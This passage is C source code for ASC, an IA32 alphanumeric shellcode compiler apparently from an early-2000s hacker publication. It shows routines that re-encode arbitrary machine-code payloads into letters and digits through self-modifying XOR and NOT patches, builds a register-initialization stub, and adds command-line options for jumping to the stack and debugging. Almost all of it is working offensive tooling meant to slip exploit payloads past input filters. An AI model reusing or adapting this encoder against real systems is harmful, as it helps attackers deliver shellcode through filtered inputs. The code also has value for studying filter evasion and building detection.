while ((i-size>=0)&&(size<4)&&(alphanumeric_stack_get_category(input->opcodes[i-size])==category)) size++;
/* write those bytes on the stack */
alphanumeric_stack_generate_push(output,category,&input->opcodes[i-size+1],size);
i-=size;
}
return 0;
}
/* +------------------------------------------------------------------------+ */
/* | PATCHES MANIPULATIONS FUNCTIONS | */
/* +------------------------------------------------------------------------+ */
/* return the category of the byte */
/* =============================== */
int alphanumeric_patches_get_category(unsigned char c) {
if (alphanumeric_check(c)) return CATEGORY_ALPHA;
else if (c<0x80) return CATEGORY_XOR;
else { /* need a NOT */
c=NOT(c);
if (alphanumeric_check(c)) return CATEGORY_ALPHA_NOT;
else return CATEGORY_XOR_NOT;
}
}
/* generate the patches initialization shellcode */
/* ============================================ */
int alphanumeric_patches_generate_initialization(struct Sshellcode *shellcode,
int patcher_size,int alpha_begin,int base,unsigned char disp8) {
struct Sshellcode *s;
int offset; /* real offset for original shellcode to patch */
struct Sshellcode *p_offset; /* offset "shellcode" */
int fill_size; /* size to add to the initialization shellcode to align */
int initialization_size,i;
if (shellcode==NULL) return -1;
initialization_size=0;
while(1) { /* loop until we create a valid initialization shellcode */
s=shellcode_malloc();
fill_size=0;
PUSHr(s,alphanumeric_get_register(M_REGISTERS)); /* push r32 =>EAX */
PUSHr(s,alphanumeric_get_register(M_REGISTERS)); /* push r32 =>ECX */
PUSHr(s,alphanumeric_get_register(M_EDX|M_EBX|M_ESI|M_EDI)); /* push FFFFFFFF =>EDX */
if (base==EBX) {
PUSHr(s,EBP); /* push ebp =>EBX */
}
else {
PUSHr(s,alphanumeric_get_register(M_REGISTERS)); /* push r32 =>EBX */
}
PUSHr(s,alphanumeric_get_register(M_REGISTERS)); /* push r32 =>ESP */
offset=shellcode->size+initialization_size+patcher_size+alpha_begin-disp8; /* calculate the real offset */
/* if the offset is not correct we must modify the size of our initialization shellcode */
if (offset<0) { /* align to have a positive offset */
fill_size=-offset;
offset=0;
}
if (offset&1) { /* align for the 2*ebp */
fill_size++;
offset++;
}
offset/=2;
p_offset=shellcode_malloc();
DB(p_offset,BYTE(offset,0));
DB(p_offset,BYTE(offset,1));
DB(p_offset,BYTE(offset,2));
DB(p_offset,BYTE(offset,3));
alphanumeric_stack_generate(s,p_offset); /* push offset => EBP */
shellcode_free(p_offset);
PUSHr(s,alphanumeric_get_register(M_EDX|M_EBX|M_ESI|M_EDI)); /* push FFFFFFFF =>ESI */
if (base==EDI) {
PUSHr(s,EBP); /* push ebp =>EDI */
}
else {
PUSHr(s,alphanumeric_get_register(M_REGISTERS)); /* push r32 =>EDI */
}
POPAD(s); /* popad */
if (s->size<=initialization_size) break; /* if the offset is good */
initialization_size++;
}
/* the offset is good */
/* fill to reach the initialization_size value */
while (s->size<initialization_size) INCr(s,ECX);
/* fill to reach the offset value */
for (i=0;i<fill_size;i++) INCr(s,ECX);
shellcode_cat(shellcode,s);
shellcode_free(s);
return 0;
}
/* generate the xor patch */
/* ====================== */
#define PB1 bytes[0]
#define PB2 bytes[1]
#define PB3 bytes[2]
#define PB4 bytes[3]
int alphanumeric_patches_generate_xor(struct Sshellcode *s,int category,
unsigned char *bytes,int size,int base,char disp8) {
unsigned char xPB1,xPB2,xPB3,xPB4;
int reg,i;
if (s==NULL) return -1;
/* eventually realize a NOT on bytes[] */
if ((category==CATEGORY_ALPHA_NOT)||(category==CATEGORY_XOR_NOT)) {
for (i=0;i<size;i++) bytes[i]=NOT(bytes[i]);
}
/* generate the bytes in the original shellcode */
switch(category) {
case CATEGORY_ALPHA:
case CATEGORY_ALPHA_NOT:
/* nothing to do */
break;
case CATEGORY_XOR:
case CATEGORY_XOR_NOT:
reg=alphanumeric_get_register(M_EAX|M_ECX);
switch(size) {
case 1:
xPB1=alphanumeric_get_complement(PB1);
PUSHb(s,XOR(PB1,xPB1)); /* push ~xPB1 */
POPr(s,reg); /* pop reg */
PB1=xPB1; /* modify into the original shellcode */
XORsib8(s,base,EBP,disp8,reg); /* xor [base+2*ebp+disp8],reg => xor xPB1,~xPB1 */
break;
case 2:
xPB1=alphanumeric_get_complement(PB1);
xPB2=alphanumeric_get_complement(PB2);
PUSHw(s,WORD(XOR(PB2,xPB2),XOR(PB1,xPB1))); /* push ~xPB2 ~xPB1 */
O16(s);POPr(s,reg); /* pop reg */
PB1=xPB1; /* modify into the original shellcode */
PB2=xPB2;
O16(s);XORsib32(s,base,EBP,disp8,reg); /* xor [base+2*ebp+disp8],reg => xor xPB2 xPB1,~xPB2 ~xPB1 */
break;
case 4:
xPB1=alphanumeric_get_complement(PB1);
xPB2=alphanumeric_get_complement(PB2);
xPB3=alphanumeric_get_complement(PB3);
xPB4=alphanumeric_get_complement(PB4);
PUSHd(s,DWORD(XOR(PB4,xPB4),XOR(PB3,xPB3),XOR(PB2,xPB2),XOR(PB1,xPB1))); /* push ~xPB4 ~xPB3 ~xPB2 ~xPB1 */
POPr(s,reg); /* pop reg */
PB1=xPB1; /* modify into the original shellcode */
PB2=xPB2;
PB3=xPB3;
PB4=xPB4;
XORsib32(s,base,EBP,disp8,reg); /* xor [base+2*ebp+disp8],reg => xor xPB4 xPB3 xPB2 xPB1,~xPB4 ~xPB3 ~xPB2 ~xPB1 */
break;
}
break;
}
/* eventually realize a NOT on the shellcode */
if ((category==CATEGORY_ALPHA_NOT)||(category==CATEGORY_XOR_NOT)) {
reg=alphanumeric_get_register(M_EDX|M_ESI);
switch(size) {
case 1:
XORsib8(s,base,EBP,disp8,reg); /* xor [base+2*ebp+disp8],dl/dh */
break;
case 2:
O16(s);XORsib32(s,base,EBP,disp8,reg); /* xor [base+2*ebp+disp8],dx/si */
break;
case 4:
XORsib32(s,base,EBP,disp8,reg); /* xor [base+2*ebp+disp8],edx/esi */
break;
}
}
return 0;
}
/* generate the patch and the original shellcode */
/* ============================================= */
int alphanumeric_patches_generate(struct Sshellcode *output,struct Sshellcode *input) {
struct Sshellcode *out,*in; /* input and output codes */
struct Sshellcode *best; /* last best shellcode */
struct Sshellcode *patcher; /* patches code */
int alpha_begin,alpha_end; /* offsets of the patchable part */
int base; /* base register */
unsigned char *disp8_begin; /* pointer to the current first disp8 */
unsigned char disp8;
int category,size,i,j;
if (input==NULL) return -1;
if (output==NULL) return -1;
/* get the offset of the first and last non alphanumeric bytes */
for (alpha_begin=0;alpha_begin<input->size;alpha_begin++) {
if (!alphanumeric_check(input->opcodes[alpha_begin])) break;
}
if (alpha_begin>=input->size) { /* if patching is not needed */
shellcode_cat(output,input);
return 0;
}
for (alpha_end=input->size-1;alpha_end>alpha_begin;alpha_end--) {
if (!alphanumeric_check(input->opcodes[alpha_end])) break;
}
base=alphanumeric_get_register(M_EBX|M_EDI);
best=shellcode_malloc();
disp8_begin=ALPHANUMERIC_BYTES;
while (*disp8_begin!=0) { /* loop for all possible disp8 values */
disp8=*disp8_begin;
/* allocate all shellcodes */
out=shellcode_malloc();
shellcode_cpy(out,output);
in=shellcode_malloc();
shellcode_cpy(in,input);
patcher=shellcode_malloc();
i=alpha_begin;
size=0;
while (i<=alpha_end) { /* loop into our original shellcode */
/* increment the offset if needed */
for (j=0;j<size;j++) {
if (alphanumeric_check(disp8+1)) {
disp8++;
}
else INCr(patcher,base); /* inc base */
}
category=alphanumeric_patches_get_category(in->opcodes[i]);
size=1; /* by default, we have 1 byte of the same category */
/* loop until maximum 3 next bytes are from the same category */
while ((i+size<=alpha_end)&&(size<4)&&(alphanumeric_patches_get_category(in->opcodes[i+size])==category)) size++;
if (size==3) size=2; /* impossible to XOR 3 bytes */
/* patch those bytes */
alphanumeric_patches_generate_xor(patcher,category,&in->opcodes[i],size,base,disp8);
i+=size;
}
alphanumeric_patches_generate_initialization(out,patcher->size,alpha_begin,
base,*disp8_begin); /* create a valid initialization shellcode */
shellcode_cat(out,patcher);
shellcode_cat(out,in);
if ((best->size==0)||(out->size<best->size)) shellcode_cpy(best,out);
/* if this is a more interesting shellcode, we save it */
/* free all shellcodes and malloc */
shellcode_free(out);
shellcode_free(in);
shellcode_free(patcher);
disp8_begin++;
}
shellcode_cpy(output,best);
shellcode_free(best);
return 0;
}
/******************************************************************************/
/* +------------------------------------------------------------------------+ */
/* | INTERFACE FUNCTIONS | */
/* +------------------------------------------------------------------------+ */
void print_syntax() {
fprintf(stderr,"ASC - IA32 Alphanumeric Shellcode Compiler\n");
fprintf(stderr,"==========================================\n");
fprintf(stderr,"SYNTAX : asc [options] <input file[.c]>\n");
fprintf(stderr,"COMPILATION OPTIONS :\n");
fprintf(stderr," -a[ddress] stack|<r32> : address of shellcode (default=stack)\n");
fprintf(stderr," -m[ode] stack|patches : output shellcode build mode (default=patches)\n");
fprintf(stderr," -s[tack] call|jmp|null|ret : method to return to original code on the stack\n");
fprintf(stderr," (default=null)\n");
fprintf(stderr,"DEBUGGING OPTIONS :\n");
fprintf(stderr," -debug-start : breakpoint to start of compiled shellcode\n");
fprintf(stderr," -debug-build-original : breakpoint to building of original shellcode\n");
fprintf(stderr," -debug-build-jump : breakpoint to building of stack jump code\n");
fprintf(stderr," -debug-jump : breakpoint to stack jump\n");
fprintf(stderr," -debug-original : breakpoint to start of original shellcode\n");
fprintf(stderr,"INPUT/OUTPUT OPTIONS :\n");
fprintf(stderr," -c[har] <char[] name> : name of C input array (default=first array)\n");
fprintf(stderr," -f[ormat] bin|c : output file format (default=bin)\n");
fprintf(stderr," -o[utput] <output file> : output file name (default=stdout)\n");
fprintf(stderr,"\n");
fprintf(stderr,"ASC 0.9.1 rix@hert.org @2001\n");
exit(1);
}
void print_error() {
perror("Error ASC");
exit(1);
};
/* +------------------------------------------------------------------------+ */
/* | MAIN PROGRAM | */
/* +------------------------------------------------------------------------+ */
#define STACK REGISTERS+1
#define INPUT_FORMAT_BIN 0
#define INPUT_FORMAT_C 1
#define OUTPUT_FORMAT_BIN 0
#define OUTPUT_FORMAT_C 1
#define OUTPUT_MODE_STACK 0
#define OUTPUT_MODE_PATCHES 1
#define STACK_MODE_CALL 0
#define STACK_MODE_JMP 1
#define STACK_MODE_NULL 2
#define STACK_MODE_RET 3
int main(int argc, char **argv) {
char *input_filename=NULL,*output_filename=NULL;
struct Sshellcode *input=NULL,*output=NULL,*stack=NULL;
char input_format=INPUT_FORMAT_BIN;
char *input_variable=NULL;
char address=STACK;
char output_format=OUTPUT_FORMAT_BIN;
char output_mode=OUTPUT_MODE_PATCHES;
char stack_mode=STACK_MODE_NULL;
int debug_start=0;
int debug_build_original=0;
int debug_build_jump=0;
int debug_jump=0;
int debug_original=0;
int ret,l;
/* command line parameters definition */
#define SHORT_OPTIONS "a:c:f:m:o:s:"
struct option long_options[]={
/* {"name",has_arg,&variable,value} */
{"address",1,NULL,'a'},
{"mode",1,NULL,'m'},
{"stack",1,NULL,'s'},
{"debug-start",0,&debug_start,1},
{"debug-build-original",0,&debug_build_original,1},
{"debug-build-jump",0,&debug_build_jump,1},
{"debug-jump",0,&debug_jump,1},
{"debug-original",0,&debug_original,1},
{"char",1,NULL,'c'},
{"format",1,NULL,'f'},
{"output",1,NULL,'o'},
{0,0,0,0}
};
int c;
int option_index=0;
/* read command line parameters */
opterr=0;
while ((c=getopt_long_only(argc,argv,SHORT_OPTIONS,long_options,&option_index))!=-1) {
switch (c) {
case 'a':
if (!strcmp(optarg,"eax")) address=EAX;
else if (!strcmp(optarg,"ebx")) address=EBX;
else if (!strcmp(optarg,"ecx")) address=ECX;
else if (!strcmp(optarg,"edx")) address=EDX;
else if (!strcmp(optarg,"esp")) address=ESP;
else if (!strcmp(optarg,"ebp")) address=EBP;
else if (!strcmp(optarg,"esi")) address=ESI;
else if (!strcmp(optarg,"edi")) address=EDI;
else if (!strcmp(optarg,"stack")) address=STACK;
else print_syntax();
break;
case 'c':
input_format=INPUT_FORMAT_C;
input_variable=optarg;
break;
case 'f':
if (!strcmp(optarg,"bin")) output_format=OUTPUT_FORMAT_BIN;
else if (!strcmp(optarg,"c")) output_format=OUTPUT_FORMAT_C;
else print_syntax();
break;
case 'm':
if (!strcmp(optarg,"stack")) output_mode=OUTPUT_MODE_STACK;
else if (!strcmp(optarg,"patches")) output_mode=OUTPUT_MODE_PATCHES;
else print_syntax();
break;
case 'o':
output_filename=optarg;
break;
case 's':
output_mode=OUTPUT_MODE_STACK;
if (!strcmp(optarg,"call")) stack_mode=STACK_MODE_CALL;
else if (!strcmp(optarg,"jmp")) stack_mode=STACK_MODE_JMP;
else if (!strcmp(optarg,"null")) stack_mode=STACK_MODE_NULL;
else if (!strcmp(optarg,"ret")) stack_mode=STACK_MODE_RET;
else print_syntax();
break;
case 0: /* long option set variable */
break;
case '?': /* error option character */
case ':': /* error option parameter */
default:
print_syntax();
}
}
if (optind+1!=argc) print_syntax(); /* if no input file specified */
input_filename=argv[optind];
/* detect the input file format */
l=strlen(input_filename);
if ((l>2)&&(input_filename[l-2]=='.')&&(input_filename[l-1]=='c')) input_format=INPUT_FORMAT_C;
random_initialize();
input=shellcode_malloc();
output=shellcode_malloc();
/* read input file */
if (debug_original) INT3(input);
fprintf(stderr,"Reading %s ... ",input_filename);
switch(input_format) {
case INPUT_FORMAT_BIN:
ret=shellcode_read_binary(input,input_filename);
break;
case INPUT_FORMAT_C:
ret=shellcode_read_C(input,input_filename,input_variable);
break;
}
if (ret==-1) {
fprintf(stderr,"\n");
print_error();
}
if (!debug_original) fprintf(stderr,"(%d bytes)\n",input->size);
else fprintf(stderr,"(%d bytes)\n",input->size-1);
if (debug_start) INT3(output);
/* obtain the shellcode address */
if (address==STACK) address=alphanumeric_get_address_stack(output);
alphanumeric_initialize_registers(output,address);
/* generate the original shellcode */
if (debug_build_original) INT3(output);
switch(output_mode) {
case OUTPUT_MODE_STACK:
alphanumeric_stack_generate(output,input);
if (stack_mode!=STACK_MODE_NULL) { /* if jump building needed */
stack=shellcode_malloc();
if (debug_jump) INT3(stack);
switch(stack_mode) {
case STACK_MODE_CALL:
CALL_ESP(stack); /* call esp */
break;
case STACK_MODE_JMP:
JMP_ESP(stack); /* jmp esp */
break;
case STACK_MODE_RET:
PUSHr(stack,ESP); /* push esp */
RET(stack); /* ret */
break;
}
if (debug_build_jump) INT3(output);
alphanumeric_patches_generate(output,stack);
shellcode_free(stack);
}
else { /* no jump building needed */
if (debug_jump) INT3(output);
}
break;
case OUTPUT_MODE_PATCHES:
alphanumeric_patches_generate(output,input);
break;
}
/* print shellcode to the screen */
fprintf(stderr,"Shellcode (%d bytes):\n",output->size);
shellcode_print(output);
fclose(stdout);
fprintf(stderr,"\n");
/* write input file */
if (output_filename) {
fprintf(stderr,"Writing %s ...\n",output_filename);
switch(output_format) {
case OUTPUT_FORMAT_BIN:
ret=shellcode_write_binary(output,output_filename);
break;
case OUTPUT_FORMAT_C:
ret=shellcode_write_C(output,output_filename);
break;
}
if (ret==-1) {
shellcode_free(input);
shellcode_free(output);
print_error();
}
}
shellcode_free(input);
shellcode_free(output);
fprintf(stderr,"Done.\n");
}
/******************************************************************************/
<-->
|EOF|--------------------------------------------------------------------|